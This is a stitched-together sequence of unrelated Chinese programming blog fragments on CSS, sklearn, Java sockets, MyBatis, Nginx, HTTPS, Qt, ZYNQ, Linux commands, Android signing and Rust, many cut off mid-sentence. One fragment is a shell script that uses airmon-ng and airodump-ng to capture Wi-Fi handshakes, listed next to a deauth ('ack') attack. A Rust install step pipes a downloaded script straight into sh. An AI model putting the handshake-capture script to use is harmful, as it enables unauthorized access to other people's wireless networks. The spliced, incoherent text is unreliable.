::-webkit-scrollbar 滚动条整体部分,可以设置宽度啥的::-webkit-scrollbar-button 滚动条两端的按钮::-webkit-scrollbar-track 外层轨道::-webkit-scrollbar-track-piece 内层滚动槽::-webkit-scrollbar-thumb 滚动的滑块::-webkit-scrollbar-corner 边角::-webkit-resizer 定义右下角拖动块的样式 /* 设置滚动条的样式 */ ::-webkit-scrollbar { width: 30px; height: 30px; background-color: rgba(red, .3); } // 滚动条两端按钮 ::-webkit-scrollbar-button { background: green; border: 3px solid blue; } ::-webkit-scrollbar-button:active { background: blue; border: 3px solid green; } ::-webkit-scrollbar:hover { background-color: #eee; } /* 滚动槽/外层轨道 */ ::-webkit-scrollbar-track { width: 5px; height: 5px; border-radius: 10px; -webkit-box-shadow: inset 0 0 6px rgba(0, 0, 0, 0.
sklearn KDE文档:https://scikit-learn.org/stable/modules/generated/sklearn.neighbors.KernelDensity.html
文章目录 算法描述示例代码更多学习参考 算法描述 KDE核密度估计,通俗来说,就是用平滑的曲线描述一个序列数据的频率分布直方图。然而在使用频率分布直方图时,要确定每个频率的区间大小,太大则无法反应细微的差距,太小则会是直方图变得毫无意义,因此我们可以通过KDE,从核函数的角度了解这个序列频率的趋势变化,而无需通过阈值确定区间大小。
示例代码 from sklearn.neighbors import KernelDensity import numpy as np import matplotlib.pyplot as plt import pandas as pd def get_curve_by_kde(array: np.ndarray): """计算KDE曲线""" model = KernelDensity(bandwidth=1.0, kernel='gaussian') model.fit(array[:, np.newaxis]) # 概率分布 x_range = np.linspace(min(array) - 1, max(array) + 1, len(array)) # model.score_samples返回的是一个log之后的值,因此需要使用e还原数据 x_prob = np.exp(model.score_samples(x_range[:, np.newaxis])) return x_prob def main(): """主流程""" x_train = np.hstack((np.random.normal(2, 1, 200), np.random.normal(6, 4, 200))) # 两个高斯分布组合到一起 x_prob = get_curve_by_kde(x_train) # 展示 dataframe = pd.
奶牛快传 | 免费大文件传输工具,上传下载不限速
点击链接下载通用模板,你可以完全信任类是安全的,若有疑惑细看代码,方法接口是文本文件。
模板保证可用,测试完全成功。
为什么服务端和客户端传输数据时接收不到? 可能是输出没有把数据刷新出去导致阻塞,如果是BufferedWriter还要再输出一个"\n"
关于JavaSwing图形编程和“接收不到传输数据”的问题
如果使用JFormDesigner类似插件进行编程,如果内置类是private,外部不能调用,那么就会需要在服务端或者客户端中对Form进行实例化,再调用Form的public方法。
如果你的图形界面是实例化之前就已经出现的
这个和你实例化之后的图形界面是两个不同的界面
你输出到TextArea区域的数据很有可能是你后面实例化的图形界面,而不是之前就出现的界面
为什么接收传输的数据是乱码?
Writer和Reader的编码标准不一致,使用同一个。
为什么建议用PrintWriter而不是BufferedWriter? 因为PrintWriter自带刷新(?)不太清楚,自行百度
为什么我开放了端口,IP和端口都给朋友了,却还连接不上?
根据相关事项导致常规电脑不会有公网IP,也就是无法被外人搜索到,要使用内网穿透 / 端口映射手段来将你的端口映射到公网上。
好用且免费的端口映射工具 1.SakuraFrp
2.LoCyanFrp(用起来不是很方便)
使用方法两者官网都有提供
目录
1. 集成启动网卡监听、开启网络扫描、抓取握手包的shell脚本。支持linux与Darwin
2. ack攻击
1. 集成启动网卡监听、开启网络扫描、抓取握手包的shell脚本。支持linux与Darwin #!/bin/bash # 启动网卡监听模式,传入系统版本 startWlanMonitor(){ if [ $1 = "Linux" ] then if [ -z `iwconfig | awk '{if($1=="wlan0mon") print $1}'`] then airmon-ng start wlan0 fi else echo "start Darwin wlanMonitor " fi } # 开启网络扫描,在合适的时候按'q'结束扫描,传入系统版本 startScanner(){ if [ $1 = "Linux" ] then airodump-ng wlan0mon else /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s fi } # 选择一个wifi,输入BSSID,CHANNEL,开始抓包监控,传入系统版本 startAirodump(){ if [ $1 = "Linux" ] then read -p "
C语言 一、函数调度表二、给定义的变量附加一些属性三、结构体初始化四、结构体a.a 和 EOF五、命令行参数与命令行文件输入输出5.1命令行参数演示代码:5.2命令行文件输入输出演示代码: 六、从初学者到对C语言的进一步的认识(End) 记录一些第一次见到感到奇怪(少见多怪)的C语句。编译器GNU gcc。 一、函数调度表 原理:定义特定格式的函数指针,再定义函数指针数组。然后把一个个函数指针(即函数名、函数地址),然后就可以像操控数组一样操控一堆函数了。
#include <stdio.h> #include <stdlib.h> #include <string.h> #define pint(t) printf("the func is:%d\n",t); void print1(int); void print2(int); void print3(int); void print4(int); typedef void(*print_fun)(int); int main(void) { int i; print_fun pointer_funs[4]={print1,print2,print3,print4}; for(i=0;i<4;i++) { pointer_funs[3-i](i); } return 0; } void print1(int a){ printf("hello,input %d :",a); pint(1); } void print2(int a){ printf("hello,input %d :",a); pint(2); } void print3(int a){ printf("hello,input %d :",a); pint(3); } void print4(int a){ printf("
标题 ### 三号标题 #### 四号标题 三号标题 四号标题
文本 *斜体* **加粗** ***斜体加粗*** ~~删除文字~~ >文字引用 斜体
加粗
斜体加粗
删除文字
文字引用
代码块 ```java public public `行内代码块` 行内代码块
分割线 --- *** 列表 1. 有序列表,两次回车退出列表 有序列表,两次回车退出列表
有序列表,两次回车退出列表
- 无序列表 无序列表
无序列表
图片  超链接 [百度](http://www.baidu.com) 百度
表格 | 表头 | 表头 | | -- | -- | | 内容 | 内容 | 表头表头内容内容
5.1 一级缓存 一级缓存(也叫本地缓存),默认会开启,并且不能控制。想要关闭一级缓存可以在select标签上配置flushCache=“true”;一级缓存存在于 SqlSession 的生命周期中,在同一个 SqlSession 中查询时, MyBatis 会把执行的方法和参数通过算法生成缓存的键值,将键值和查询结果存入一个 Map对象中。如果同一个 SqlSession 中执行的方法和参数完全一致,那么通过算法会生成相同的键值,当 Map 缓存对象中己经存在该键值时,则会返回缓存中的对象;任何的 **INSERT 、UPDATE 、 DELETE 操作都会清空一级缓存;
一级缓存的执行过程:
每个SqlSession中持有了Executor,每个Executor中有一个LocalCache。当用户发起查询时,MyBatis根据当前执行的语句生成MappedStatement,在Local Cache进行查询,如果缓存命中的话,直接返回结果给用户,如果缓存没有命中的话,查询数据库,结果写入Local Cache,最后返回结果给用户。具体实现类的类关系图如下图所示。
5.3.1 一级缓存的测试 下面举两个例子来说明一级缓存
案例一: 在同一个SqlSession 查询两次id = 1的客户
测试代码如下:
@Test public void selectUserById(){ SqlSession sqlSession = sqlSessionFactory.openSession(); try{ UserMapper mapper = sqlSession.getMapper(UserMapper.class); // 查询id = 1 的用户 UserInfo userInfo = mapper.selectUserById(1L); System.out.println("userInfo=="+userInfo); // 查询id = 1 的用户 UserInfo userInfo2 = mapper.selectUserById(1L); System.out.println("userInfo2=="+userInfo); }finally{ sqlSession.close(); } } 下面是执行的日志:
文章目录 一、Nginx初始二、正向代理和反向代理(一)正向代理(二)正向代理的使用场景(三)反向代理(四)反向代理的使用场景 三、Nginx的安装(一):Linux下安装Nginx(二):Windows下安装Nginx 四、Nginx常用命令五、Nginx配置(nginx.conf文件内容模块及作用)(一)文件内容及模块(1)、全局块的作用(2)、events块的作用(3)、Http块的作用(3.1、虚拟主机的配置(3.2、日志的配置 六、反向代理配置(一)配置反向代理的nginx.conf文件(二)实现在同一域名下,根据不同的访问路径访问不同的项目 七、负载均衡(一)概念(二)负载均衡器可以处理的四大类型的请求(三)负载均衡的调度算法(四)负载均衡的使用 八、动静分离(一)概念(二)实现方式(三)动静分离的应用 九、location块补充(一)、匹配规则(二) URL重写 一、Nginx初始 Nginx是一个高性能的Http和反向代理服务器,也是一个IMAP/POP3/SMTP等邮件代理服务器
二、正向代理和反向代理 如果客户端(client)不能直接访问服务端(server),则需要代理服务器(proxy)进行访问
(一)正向代理 正向代理:客户端通过设置,使用代理服务器去访问远程服务器
(二)正向代理的使用场景 1、可以访问原来无法访问的资源
2、可以做缓存使用,加快访问速度
3、对客户端授权或记录访问信息等
(三)反向代理 反向代理:服务器通过代理服务接收连接请求,然后再转发给内部网络的服务器,将服务器的结果返回给客户端,此时这种代理叫反向代理
(四)反向代理的使用场景 1、保证内网的安全,阻止web攻击
2、负载均衡,优化网站的负载(处理能力)
注意:正向代理知道是通过代理服务器访问服务端的,但是反向代理不知道是通过代理服务器访问服务端的
一句话总结:代理服务器站在客户端一边(客户端知道是通过代理服务器访问的)就是正向代理,代理服务器站在服务器端一边(客户端不知道是通过代理服务器访问的),就是反向代理
三、Nginx的安装 (一):Linux下安装Nginx 以openssl为例:
1、在各官网下载相关组件: Nginx 、openssl 、 zlib 、 pcre等
2、通过rz 上传压缩包
3、通过tar -xvf *.tar.gz进行解压缩
4、通过cd 文件夹名 进入解压后的文件夹中
5、通过 ./config 执行配置相关的检查
6、通过make & make install进行编译和安装
注意:如上过程适用于zlib和pcre ,对于pcre而言,执行检查命令为./configure
7、安装nginx过程中、执行配置检查
图片:
8、仍然执行make以及make install
9、nginx安装成功,./nginx进行验证
注意事项:nginx服务器,需要虚拟机开放80端口的访问
防火墙配置(同样适用于tomcat开放8080 8081端口):
firewall-cmd --list-all 查看当前配置
firewall-cmd --add-service=http --permanent 开放http访问
firewall-cmd --add-port=80/tcp --permanent 开放80端口
风和日丽 阳光明媚 生产bug来了!!!
java 设定的cookie值 重定向后这个cookie获取不到 竟然奇怪的不见了。
先说解决办法:
通过设置domain、path可以获取到这个cookie,记住 这个要考的!!!
domain 是域
path 是访问的路径
HttpServletResponse response = FacesUtil.getHttpServletResponse();
Cookie cookie = new Cookie(“type”,type);
cookie.setDomain("localhost");
cookie.setPath("/");(这个必须加上,我就是没加,导致的url丢失)
response .addCookie(cookie);
至于具体原因 没有细查,有哪位道友知道可以给我留言。谢谢。
————————————————
进入游戏封面,通过connect函数跳转到游戏界面
#include "mouse.h" #include "ui_mouse.h" mouse::mouse(QWidget *parent) : QWidget(parent), ui(new Ui::mouse) { ui->setupUi(this); form = new Hitmouse; connect(form,SIGNAL(backForm()),this,SLOT(backshow())); form->hide(); } mouse::~mouse() { delete ui; } void mouse::on_pushButton_clicked() { this->hide(); form->show(); } void mouse::backshow() { this->show(); } 到游戏界面后,通过信号与槽连接,将地鼠(button)按钮和所得分数(UpdateScore())槽函数相连接,点击地鼠后,分数增加10分。
#include "hitmouse.h" #include "ui_hitmouse.h" Hitmouse::Hitmouse(QWidget *parent) : QWidget(parent), ui(new Ui::Hitmouse) { ui->setupUi(this); ui->pat->hide(); ui->pause1->hide(); ui->pback->hide(); ui->pquit->hide(); ui->label_3->hide(); ui->lcdNumber_2->hide(); ui->rreturn->hide(); ui->rback->hide(); this->score = 0; connect(ui->m00,SIGNAL(clicked(bool)),this,SLOT(UpdateScore())); connect(ui->m01,SIGNAL(clicked(bool)),this,SLOT(UpdateScore())); connect(ui->m02,SIGNAL(clicked(bool)),this,SLOT(UpdateScore())); 点击出现的地鼠(button),地鼠消失,另一只地鼠出现,地鼠位置改变
void Hitmouse::on_m10_clicked() { ui->m10->hide(); ui->m21->show(); } void Hitmouse::on_m21_clicked() { ui->m21->hide(); ui->m00->show(); } 点击最后一只地鼠,计算所得分数,并显示胜利界面和相应得分
目录
一、vivado
二、vitis
1.LED
2.Key
3.定时器
4.中断
三、代码
一般来说ZYNQ可以有三种方式实现流水灯:MIO,EMIO,AXI GPIO。但是由于赛灵思的ZYNQ开发板MIO资源没有LED,所以实现流水灯只能EMIO或者AXI GPIO。这里使用AXI GPIO实现流水灯,为了更多的使用板子资源,在流水灯的基础上增加了按键,中断,定时器,串口等功能可以实现流水灯的方向的切换,精准定时等功能。同时也会给出AXI GPIO和EMIO实现流水灯的代码。 一、vivado 创建一个工程,添加ZYNQ IP核
点击自动连线
完成后双击打开,配置EMIO
配置EMIO位宽为2
然后添加AXI GPIO 点击自动连线
左边全勾上,接口选择led
然后点击ZYNQ核上的GPIO,刚刚才配置的,设置将引脚扩展处来,为后面PL分配引脚做准备。
然后删除USB端口,不然后面会报错
然后验证当前设计,出现如下弹窗,说明设计结果正确。
在 Sources 窗口中,选中 Design Sources 下的 .bd文件生成HDL 模块
然后进行分析与综合
分配引脚为刚刚我们设置的两个EMIO
按键原理图
设置按键引脚和电源值
保存引脚约束文件
然后生成字节流,因为用到了PL部分
将硬件导出
启动vitis进入软件编程部分
二、vitis 这里工程的建立就不说了,具体的可以参考前面的
1.LED 主要是初始化LED和设置LED的输入输出方向
int led_init(void) { int Status; //初始化GPIO Status = XGpio_Initialize(&Axi_Gpio, GPIO_DEVICE_ID); if (Status != XST_SUCCESS) //判断是否初始化成功 { return XST_FAILURE; } //设置GPIO输入/输出模型 0:输出 1:输入 XGpio_SetDataDirection(&Axi_Gpio, led_channel, 0x00); return XST_SUCCESS; } 2.
文章目录 Https基本介绍证书文件证书种类证书内容服务器获取证书步骤和客户端验证步骤证书链自签名证书生成根证书生成自签名服务器端证书生成自签名客户端证书Java API调用 cfssl的使用认证方式和TLS握手(※)单向认证双向认证 RSA握手具体分析TLS 第一次握手TLS 第二次握手TLS 第三次握手TLS 第四次握手RSA 算法的缺陷 ECDHE握手具体分析TLS 第一次握手TLS 第二次握手TLS 第三次握手TLS 第四次握手RSA和ECGHE握手的区别 TLS 和 TCP 能同时握手TCP Fast OpenTLSv1.3TCP Fast Open + TLSv1.3 TLS和SSL的区别HTTPS 一定安全可靠吗?抓包工具 Https 基本介绍 HTTP 存在的问题
没有加密,无法保证通信内容不被窃听。
没有报文完整性验证,无法确保通信内容在传输中不被改变。
没有身份鉴别,无法让通信双方确认对方身份。
HTTP over SSL,在 HTTP 传输上增加了传输层安全性(TLS)或安全套接字层(SSL),通过信息加密、数据完整性校验、身份鉴别为 HTTP 事务提供安全保证。SSL 会对数据进行加密并把加密数据送往 TCP 套接字,在接收方,SSL 读取 TCP 套接字的数据并解密,把数据交给应用层。
HTTPS 采用混合加密机制,使用非对称加密传输对称密钥保证传输安全,使用对称加密保证通信效率。每一个密钥对(key pairs) 都有一个 私有密钥(private key) 和 公有密钥(public key),私有密钥是独有的,一般位于服务器上,用于解密由公共密钥加密过的信息;公有密钥是公有的,与服务器进行交互的每个客户端都可以持有公有密钥,用公钥加密的信息只能由私有密钥来解密。
当我们申请域名证书,SSL会有一个pem证书和key私钥,pem证书包含数字签名和公钥。
证书文件 证书相关文件有多种格式,常见格式:.crt,.key,.req,.csr,.pem,.der。
xx.crt:证书文件 (Certificate)xx.key:私钥文件xx.req:请求文件xx.csr:请求文件 (Certificate Signing Request)xx.pem:证书文件为 pem 格式(文本文件)xx.der:证书文件为 der 格式(二进制文件) 实际上,上述文件的扩展名可以随意命名。只是为了容易理解文件的功能而选择大家都认识的命名方式。但是,上述文件是有格式的,只能是 pem 格式或者 der 格式。使用什么格式的文件取决于需求。
目录
一、编程语言
二、计算机基础
1、计算机系统的组成
2、计算机的工作过程
3、存储器
三、数制(二进制、八进制、十进制、十六进制)
1、二进制、八进制、十六进制转化为十进制
2、十进制转化为二进制、八进制、十六进制
3、二进制、八进制、十六进制之间的转换
4、二进制的运算
四、算法
1、描述算法的工具
2、算法的特性
一、编程语言 机器语言
编程语言分为 汇编语言
高级语言
而机器语言和汇编语言合称为低级语言。
1、机器语言:使用二进制进行指令的编译,是计算机可以直接识别的指令,因此是计算机执行效率最高的语言。
2、汇编语言:使用单词风格的符号代替二进制的操作指令,但是需要进行翻译才可以使计算机执行指令。
3、高级语言:容易被程序员所掌握,但是是计算机执行效率最低的语言。
二、计算机基础 1、计算机系统的组成 运算器
硬 控制器
件 存储器
计 系 输入设备
算 统 输出设备
机
系 操作系统
统 软 系统软件 数据库管理系统
件 语言处理程序
系
统 应用软件
<1>计算机的五个硬件是由冯·诺依曼提出
<2>运算器与控制器合称为CPU(中央处理器)
<3>运算器里面只存在加法器,只可以进行加和移位的操作,加减乘除都是通过加和移位完成的
2、计算机的工作过程 数据输入输入设备由控制器控制传入存储器,再由控制器控制从存储器中取出数据交给运算器进行运算,运算器运算完毕后由控制器控制存入存储器,再由控制器控制输出设备从存储器中取出数据。
※控制器相当于路口指挥交通
3、存储器 存储器的结构如下图所示,存储器是由一个个小房间构成的,一个小房间中有八根电线,电线通电代表1,不通电代表0
一个小房间代表一个字节(Byte)
一根电线代表一个位(bit比特位)
<1>如果一个房间存储数据不够,那么加房间时,房间的总数要是2的几次方个。比如:1个、2个、4个、8个、16个......
<2>整数分为 有符号整数:最高位为符号位,并不算数,最高位为1是负数,最高位为0是正 数。如:(1000 0101,这个数为-5)
无符号整数
<3>计算机中所存储的数据以补码的形式存放
正数:原码=反码=补码
负数:原码就是符号位为1,其余位为该数的绝对值。如:(1000 0011,-3原码)
反码即原码的符号位不变,其他位按位取反。如:(1111 1100,-3反码)
1.1~99的全遍历求和
注意:
sum变量要写在外面
main方法必须有 public class Leijia { public static void main(String[]args){ int sum=0; for (int i=1;i<=99; i++){ sum=sum+i; } System.out.println("s="+sum); } } 2. 1~99只遍历奇数的求和
public class Leijia { public static void main(String[]args){ int sum=0; for (int i=1;i<=99; i++){ if(i%2==1){ sum=sum+i; } } System.out.println("s="+sum); } } 是第一篇文章捏
目录
Linux下的指令
1.ls指令
2.pwd指令
3 .cd指令
4.touch 指令 5.mkdir 指令
6.rmdir指令 && rm 指令:
7.man指令
8.cp指令:
9.mv指令
10.cat指令
11.more指令
12.less 指令
13.head指令
14.tail指令
15date指令
16cal指令
17find指令
18 grep 指令
19 .zip/unzip指令:
20..tar指令:
21 bc指令:
22 uname –r指令
23关机
Linux下的指令 1.ls指令 语法: ls [选项][目录或文件]
功能:对于目录,该命令列出该目录下的所有子目录与文件。对于文件,将列出文件名以及其他信息。
常用选项:
-a 列出目录下的所有文件,包括以 . 开头的隐含文件。
-d 将目录象文件一样显示,而不是显示其下的文件。 如: ls –d 指定目录
-i 输出文件的 i 节点的索引信息。 如 ls –ai 指定文件
-k 以 k 字节的形式表示文件的大小。 ls –alk 指定文件
目录
1.游戏介绍
2.程序构成
3.游戏思路和实现
1.创建棋盘并打印 2.玩家和电脑实现下棋步骤
3.判断双方谁先获得胜利或者双方平局
1.游戏介绍 三子棋又名井字棋,相信大家小时候都玩过,在一个3x3的棋盘上下棋,最先实现三字连成一条线的玩家获得胜利。
2.程序构成 game.h
#define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> #include <stdlib.h>// rand srand #include <time.h>// time #include <windows.h>//Sleep #define ROW 3 #define COL 3 //初始化棋盘 void init_board(char board[ROW][COL], int row, int col); //打印棋盘 void print_board(char board[ROW][COL], int row, int col); //玩家下棋 void player_input(char board[ROW][COL],int row,int col); //电脑下棋 void computer_input(char board[ROW][COL], int row, int col); //判断结果(输 赢 平局) //玩家赢返回 '* ',电脑赢返回 '# ',返回 'B'(游戏继续),返回 'C'(平局) char is_win(char board[ROW][COL], int row, int col); //判断棋盘是否已满,没满返回0(继续游戏),满了返回1(平局) int is_full(char board[ROW][COL], int row, int col); game.
编译TGK-planner报错解决 编译时TGH-planner出现两处报错:
error: expected constructor, destructor, or type conversion before ‘;’ token PLUGINLIB_DECLARE_CLASS(SO3ControlNodelet,nodelet::Nodelet);
error: expected constructor, destructor, or type conversion before ‘;’ token
PLUGINLIB_DECLARE_CLASS(CascadeControllerNode, nodelet::Nodelet);
问题描述 对TGK-planner进行复现时,catnkin_make之后编译报错
/tgk_ws/src/TGK-Planner/uav_simulator/so3_control/src/so3_control_nodelet.cpp:219:60: error: expected constructor, destructor, or type conversion before ‘;’ token PLUGINLIB_DECLARE_CLASS(SO3ControlNodelet,nodelet::Nodelet); ^ [ 87%] Building CXX object TGK-Planner/uav_simulator/cascade_control/CMakeFiles/cascade_controller.dir/src/pid.cpp.o /tgk_ws/src/TGK-Planner/uav_simulator/cascade_control/src/cascadecontrollernode.cpp:20:65: error: expected constructor, destructor, or type conversion before ‘;’ token PLUGINLIB_DECLARE_CLASS(CascadeControllerNode, nodelet::Nodelet); 原因分析: ubuntu18.04和ubuntu16.04在调用库方面存在不同。
解决方案: 使用文本编辑器打开报错的代码的文件,修改对应位置。
gedit ~/tgk_ws/src/TGK-Planner/uav_simulator/cascade_control/src/cascadecontrollernode.cpp
源代码: //PLUGINLIB_DECLARE_CLASS(cascade_controller, CascadeControllerNode, nodelet::Nodelet); 修改后代码: PLUGINLIB_EXPORT_CLASS(CascadeControllerNode, nodelet::Nodelet); gedit ~/tgk_ws/src/TGK-Planner/uav_simulator/so3_control/src/so3_control_nodelet.
目录
旧设备的ide配置导入到新设备的ide中
修改ide‘级别’的maven路径配置
可能每个人都会有这样的需求,换新设备了,需要在新设备安装代码编辑器,比如我们干java开发的最常用的开发工具:IDE,但是我们已经习惯了之前的编辑器配置:比如字体,代码模板,注释模板,甚至是各种插件的安装等配置。那么我们如何把旧设备中的IDE配置导入新电脑中?
旧设备的ide配置导入到新设备的ide中 先在旧设备中把ide相关的配导出为zip压缩文件:
file ---》 manage ide settings ---》选择export settings 特别注意:如果是select all的话,那么你在新设备中安装的本地软件的路径最好还是和旧设备同步好些,不然会出现比较难受的事情的:比如maven,你旧设备的maven安装在d盘某某路径,但是你在新设备导入了这个旧设备的ide配置后,那么ide就会把默认的本地maven环境变成这个配置中的路径,所以每次你创建maven项目路径都会变成这个默认配置,需要手动修改。或者是找到ide的配置文件进行修改. 这还只是一个maven软件,如果之前的旧设备中安装的软件和插件或者是其他东西比较多,那就比较难受了。
导入ide配置:
导入就简单了,把刚刚导出的zip压缩文件传输到新设备,然后按照刚刚步骤,选择导入,然后会让你选择配置文件所在路径,选择刚刚zip所在路径就可以导入成功了,然后重启ide就行了。
修改ide‘级别’的maven路径配置 我自己之前就是一直想不明白为什么自己每次创建maven项目,这个maven的路径和本地仓库配置都会变化为原来旧设备的maven路径配置。。。这是为什么呢?
最近发现原来是之前导入旧设备的ide配置后没有对ide的配置文件进行修改,所以每次创建maven项目ide就会又去使用这个ide配置文件中的默认的maven环境。在setting中的maven配置(就是上面图片的配置)修改了也是不会在下一次创建maven项目生效的,因为这个只是对当前项目有效!!!
那么ide‘级别’的配置在哪里?
选择导出,会跳出导出选项选择 与 ide配置的路径,根据这个路径去找相关的文件:
根据这个路径找到ide的相关配置后,打开配置文件,找到options文件夹:
<MavenGeneralSettings> <option name="localRepository" value="D:\repo" /> <option name="mavenHome" value="E:/maven/apache-maven-3.3.9-bin/apache-maven-3.3.9" /> <option name="userSettingsFile" value="E:\maven\apache-maven-3.3.9-bin\apache-maven-3.3.9\conf\settings.xml" /> </MavenGeneralSettings>
Android 签名机制详解 近期由于工作需要在学习 Android 的签名机制,因为没有现成资料,只能通过开发者文档和阅读博客的方式对 Android 签名机制进行大致了解。过程中查阅到的资料相对零散,不够系统和全面,对于刚入门 Android 学习的小白来说,要快速掌握其内容着实是一大挑战。本文建立与各位前辈的基础之上,加之自己在学习过程中的理解,对 Android 签名机制所涉及的内容进行一个系统梳理,一个是对自己学习过程的一个复盘,二也希望能够对刚入门的同学有所启发和帮助。
签名机制 签名机制本质是对信息的一种加密措施,为的是保证信息的合法性。在说明签名机制之前我们先来了解其中涉及到的四个概念:数字摘要、非对称加密、数字签名、数字证书。
数字摘要: 采用单向 Hash 函数将需要加密的明文生成一串固定长度的密文,这一串密文又称为数字指纹,其具有唯一性和不可逆性。数字摘要的生成取决于 Hash 算法,常用的 Hash 算法有 MD5 、SHA1、SHA256,MD5 的长度是128位,SHA1的长度是160位,SHA256的长度为256位。
非对称加密: 非对称加密即加密和解密的密钥不同,其中涉及到一对密钥:公钥和私钥。当一消息通过公钥加密。解密只能通过其对应的私钥完成;当消息通过私钥加密,只能通过其对应的公钥解密。
数字签名: 通过公钥对明文进行加密得到的一段数字串,用于保证信息来源的真实性和消息的完整性。
数字证书: 校验过程有个前提:接收方必须要知道发送方的公钥和所使用的算法。如果数字签名和公钥一起被篡改,接收方无法得知,还是会校验通过。如何保证公钥的可靠性呢?答案是数字证书,数字证书是身份认证机构(Certificate Authority)颁发的,包含了以下信息:
证书颁发机构证书颁发机构签名证书绑定的服务器域名证书版本、有效期签名使用的加密算法(非对称算法,如RSA)、公钥 等 接收方收到消息后,先向CA验证证书的合法性(根据证书的签名、绑定的域名等信息。CA机构是权威的,可以保证这个过程的可靠性)再进行签名校验。
了解了以上概念,我们来看一下签名的过程:
签名过程就是 使用非对称加密算法用私钥对摘要进行加密 的过程。我们再看一下签名的校验过程:
校验过程与签名过程相反,消息接受者 通过数字证书中的公钥信息和非对称算法对签名进行解密,然后用相同的 Hash 算法对明文进行摘要计算,再将计算出的摘要与解密后得到的摘要进行对比,以校验消息的合法性。
Android签名机制 Android 签名与传统签名机制有些许不同。
首先,APK 的数字证书没有通过 CA 机构申请,而是开发者自定义的,且 Android 在安装 APK 时并不会校验证书本身的合法性,只是从中提取公钥和加密算法。正因如此,第三方 APK 在重新签名后依然能在没有安装这个 APK 系统中继续安装。
此外,Android 在对 APK 签名时并没有直接指定私钥、公钥和数字证书,而是使用 keystore 文件,将这些信息都包含在 keystore 文件中。
keystore 根据编码格式不同,keystore 文件分为很多种,Android 使用的是 Java 标准 keystore 格式 JKS (Java Key Storage),所以通过 Android Studio 导出的 keystore 文件是以 .
Helloworld 上一篇我们完成了Rust环境的搭建,本章我们会介绍如何创建Rust的第一个工程,以及后续如何使用cargo构建项目
1. 编写运行Hello world (1) 创建一个hello_world文件夹,然后创建hello_world.rs
mkdir hello_world cd hello_world touch hello_world.rs (2) 打开hello_world.rs, 并输入如下代码:
fn main(){ println!("Hello, world!"); } (3) 编译及运行
rustc hello_world.rs ./hello_world 至此,我们已经完成了第一个rust程序的编译及运行,非常简单,我就不增加我编译的图片了。
2. 使用Cargo创建一个项目 (1)创建项目
cargo new hello_cargo cd hello_cargo 在hello_cargo下会新增如下文件:
(2)打开Cargo.toml
[package] name = "hello_cargo" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] Cargo使用TOML作为标准的配置格式。
首行文本中的[package]是一个区域标签,它表明接下来的语句会被用于配置当前的程序包。 [dependencies]同样也是区域标签
(3)打开src
src下只有一个main.rs
fn main() { println!("Hello, world!"); } 3. 使用Cargo构建和运行项目 (1)构建
sprintf与snprintf 1、功能1.1 sprintf1.2 snprintf 2、函数说明2.1 sprintf2.1.1 函数原型2.1.2 参数列表:2.1.3 返回值: 2.2 snprintf2.2.1 函数原型2.2.2 参数列表:2.2.3 返回值 3、区别4、Demo4.1 sprintf4. 2 snprintf 1、功能 1.1 sprintf 主要功能是把格式化的数据写入某个字符串中,即发送格式化输出到 string 所指向的字符串。
主要功能是把格式化的数据写入某个字符串中,即发送格式化输出到 string 所指向的字符串。
1.2 snprintf 将可变个参数(…)按照format格式化成字符串,然后将其复制到str中。
(1) 如果格式化后的字符串长度 < size,则将此字符串全部复制到str中,并给其后添加一个字符串结束符(‘\0’);
(2) 如果格式化后的字符串长度 >= size,则只将其中的(size-1)个字符复制到str中,并给其后添加一个字符串结束符(‘\0’),返回值为欲写入的字符串长度。
2、函数说明 2.1 sprintf 2.1.1 函数原型 int sprintf(char *string, char *format [,argument,...]); 2.1.2 参数列表: string:这是指向一个字符数组的指针,该数组存储了最终格式化后的 字符串。
format:指明字符串的格式,包含了要被写入到字符串 str 的文本。它可以嵌入随后的附加参数中指定的值替换(如(“%d%c%f”, num, chr, f),参数的个数应与 % 标签的个数相同。),按需求进行格式化。
[argument]…:根据不同的 format 字符串,函数可能需要一系列的附加参数,每个参数包含了一个要被插入的值,替换了 format 参数中指定的每个 % 标签,如(“%d%c%f”, num, chr, f)。参数的个数应与 % 标签的个数相同。
环境搭建 1 Ubuntu2004 安装Rust 命令行下输入:
curl https://sh.rustup.rs -sSf | sh 该命令会下载并执行一个脚本来安装 rustup工具,进而安装最新的Rust稳定版本。下边截取几个我在安装过程中的图:
(1)输入命令行
(2)安装选择,这里我们按照默认安装,输入 1
(3)安装完成
若是安装最后,有如下显示,恭喜您,安装成功了!
(4)将Rust工具链添加到环境变量PATH中
source $HOME/.cargo/env 或
export PATH="$HOME/.cargo/bin:$PATH" 2 更新与卸载 更新命令:
rustup update 卸载:
rustup self uninstall 版本查询:
rustc --version
设计哲学 1 简述 任何一门语言的兴起,都是为了解决一个问题。
自操作系统诞生以来,系统级主流变成语言,从汇编语言到C++, 已经发展了近50年。但仍然存在两个难题:
很难编写内存安全的代码很难编写线程安全的代码 这两大本质的原因是C/C++属于类型不安全的语言。因此需要一个可以提供高的开发效率、代码容易维护、性能还能与C/C++媲美,同时还得保证安全性的语言。
2 设计哲学 Rust语言遵循三条设计哲学:
内存安全零成本抽象实用性 2.1 内存安全(编译器yyds) 类型系统提供的好处:
允许编译器侦测无意义甚至无效的代码,暴露程序中隐含的错误可以为编译器提供有意义的信息类型,帮助优化代码可以增强代码的可读性,更直白的阐述开发者的意图提供了一定程度的高级抽象,提升开发效率 一般来说,一门语言只要保证类型安全,就可以说他是一门安全的语言。简单来说,类型安全是指类型系统可以保证程序的行为是意义明确、不出错的。
Rust想保证内存安全,首先要做的是保证类型安全。
什么是内存安全,简单说就是不会出现内存访问错误。只有当程序访问未定义内存的时候才会产生内存错误,一般来说,一下几种情况就会产生内存错误:
引用空指针使用未初始化内存释放后使用缓冲区溢出重复释放 为了保证内存安全,Rust语言建立了严格的安全内存管理模型:
所有权系统。 每个被分配的内存都有一个独占其所有权的指针。只有当该指针被销毁时,其对应的内存才能随之被释放借用和生命周期。每个变量都有生命周期,一旦超出生命周期,变量就会被自动释放。如果是借用,则可以通过标记生命周期参数供编译器检查的方式,防止出现指针释放后再使用的情况 Rust的所有权系统还包括从C++那里借鉴的RAII机制,这是无GC但是可以安全管理内存的基石。
建立安全内存管理模型之后,再用系统类型表达出来即可。 Rust从Haskell的系统类型那里借鉴了以下特性:
没有空指针默认不可变表达式高阶函数代数数据模型模式匹配泛型trait和关联类型本地类型推导 Rust还具备其他独有的特征:
